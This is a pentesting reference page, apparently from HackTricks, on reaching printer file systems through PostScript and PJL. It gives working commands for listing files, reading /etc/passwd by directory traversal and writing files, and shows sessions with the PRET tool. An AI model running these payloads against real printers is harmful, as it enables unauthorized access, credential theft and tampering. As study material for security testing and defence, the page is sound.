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https://github.com/carlospolop/hacktricks
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87 lines
3.1 KiB
Markdown
87 lines
3.1 KiB
Markdown
# File system access
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### **PostScript**
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Retrieve sensitive information like configuration files or stored print jobs, RCE by writting files (like editing rc scripts or replacing binary files). Legitimate language constructs are defined for **PostScript** and **PJL** to **access the filesystem**.
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Access the file system with PostScript (note that it could be sandboxed limiting to harmless actions):
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```bash
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> /str 256 string def (%*%../*) % list all files
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> {==} str filenameforall
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< (%disk0%../webServer/home/device.html)
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< (%disk0%../webServer/.java.login.config)
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< (%disk0%../webServer/config/soe.xml)
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> /byte (0) def % read from file
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> /infile (../../../etc/passwd) (r) file def
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> { infile read {byte exch 0 exch put
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> (%stdout) (w) file byte writestring}
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> {infile closefile exit} ifelse
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> } loop
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< root::0:0::/:/bin/dlsh
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> /outfile (test.txt) (w+) file def}} % write to file
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> outfile (Hello World!) writestring
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> outfile closefile
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```
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You can use [PRET ](https://github.com/RUB-NDS/PRET)commands: `ls`, `get`, `put`, `append`, `delete`, `rename`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` and `df` :
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```
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./pret.py -q printer ps
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Connection to printer established
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Welcome to the pret shell. Type help or ? to list commands.
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printer:/> ls ../..
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d - Jan 1 1970 (created Jan 1 1970) bootdev
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d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
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d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
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d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
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d - Jan 1 1970 (created Jan 1 1970) etc
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d - Jan 1 1970 (created Jan 1 1970) tmp
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d - Jan 1 1970 (created Jan 1 1970) webServer
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```
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### PJL
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```
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> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
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< .\:\:TYPE=DIR
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< ..\:\:TYPE=DIR
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< PostScript TYPE=DIR
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< PJL TYPE=DIR
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< saveDevice TYPE=DIR
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< webServer TYPE=DIR
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> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
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< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
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> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
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< root::0:0::/:/bin/dlsh
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> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
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> Hello World!
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```
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Anyway accessing files with PJL is not supported by many printers.
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You can use [PRET ](https://github.com/RUB-NDS/PRET)commands: `ls`, `get`, `put`, `append`, `delete`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` and `df` :
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```
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./pret.py -q printer pjl
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Connection to printer established
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Welcome to the pret shell. Type help or ? to list commands.
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printer:/> ls ..
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d - bootdev
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d - dsk_jdi
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d - dsk_jdi_ss
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d - dsk_ram0
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d - etc
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d - lrt
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d - tmp
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d - webServer
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d - xps
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```
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**Learn more about possible sandbox bypasses using PostScript and PJL limitations in** [**http://hacking-printers.net/wiki/index.php/File\_system\_access**](http://hacking-printers.net/wiki/index.php/File\_system\_access)****
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